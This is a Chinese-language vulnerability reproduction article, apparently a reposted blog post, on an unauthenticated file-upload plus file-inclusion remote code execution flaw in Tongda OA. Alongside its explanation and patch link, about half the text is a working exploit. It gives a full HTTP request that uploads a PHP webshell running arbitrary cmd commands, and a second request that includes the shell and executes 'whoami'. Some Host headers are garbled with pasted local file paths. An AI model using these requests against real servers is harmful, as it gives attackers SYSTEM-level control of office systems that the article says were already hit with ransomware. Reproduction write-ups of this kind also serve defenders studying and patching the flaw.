通达OA 任意文件上传+文件包含导致RCE漏洞复现
2020-03-31 11:42:33 Author: mp.weixin.qq.com(查看原文) 阅读量:166 收藏


0x00漏洞简介

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞被黑产利用,用于投放勒索病毒

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0x01漏洞影响

V11版、2017版、2016版、2015版、2013增强版、2013版

0x02漏洞原理

被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php是登陆验证的相关逻辑,upload.php中$P参数如果非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json进入47行的includ_once进行文件包含

0x03漏洞环境搭建

我用的环境是通达V11下载地址为

链接:https://pan.baidu.com/s/1c0tiX5VIdrFdOkeTsRPpYQ

提取码:640o

下载好源码后解压缩直接运行EXE文件安装,访问localhost即可。

这里注意如果使用win10虚拟机,务必先关防火墙


0x04漏洞复现

有些版本gateway.php路径不同

如2013:

/ ispirit/ im/ upload. php

/ ispirit/ interface/ gateway . php

2017:

/ispirit/ im/ upload. php

/ mac/ gateway. Php

本文使用的v11版本路径为

/ispirit/im/upload.php

/ispirit/interface/gateway.php

访问任意文件上传漏洞路径/ispirit/im/upload.php

使用burp抓包发送小马数据包可以看到成功上传


访问本地文件包含漏洞 /ispirit/interface/gateway.php


使用burp抓包发送构造文件包含数据包并执行命令

0x05poc工具

https://github.com/M4tir/tongda-oa-tools

https://github.com/fuhei/tongda_rce

0x06exp代码

文件上传

POST /ispirit/im/upload.php HTTP/1.1
Host: file:///C:/Users/86184/AppData/Local/Temp/msohtmlclip1/01/clip_image011.png192.168.1.106
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[&apos;cmd&apos;];
$wsh = new COM(&apos;WScript.shell&apos;);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

文件包含

POST /mac/gateway.php HTTP/1.1
Host: file:///C:/Users/86184/AppData/Local/Temp/msohtmlclip1/01/clip_image011.png10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami

0x07修复建议

更新官方补丁

http://www.tongda2000.com/news/673.php

推荐文章++++

*通达OA文件上传文件包含漏洞分析


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650460451&amp;idx=3&amp;sn=d9cb65ab6d89b2e7eae28896e4b38648&amp;chksm=83bbb4c7b4cc3dd1600144ae7a2a9c35ba31d728bd5ac17002f7eb25227ee4526a5921b432af#rd
如有侵权请联系:admin#unsafe.sh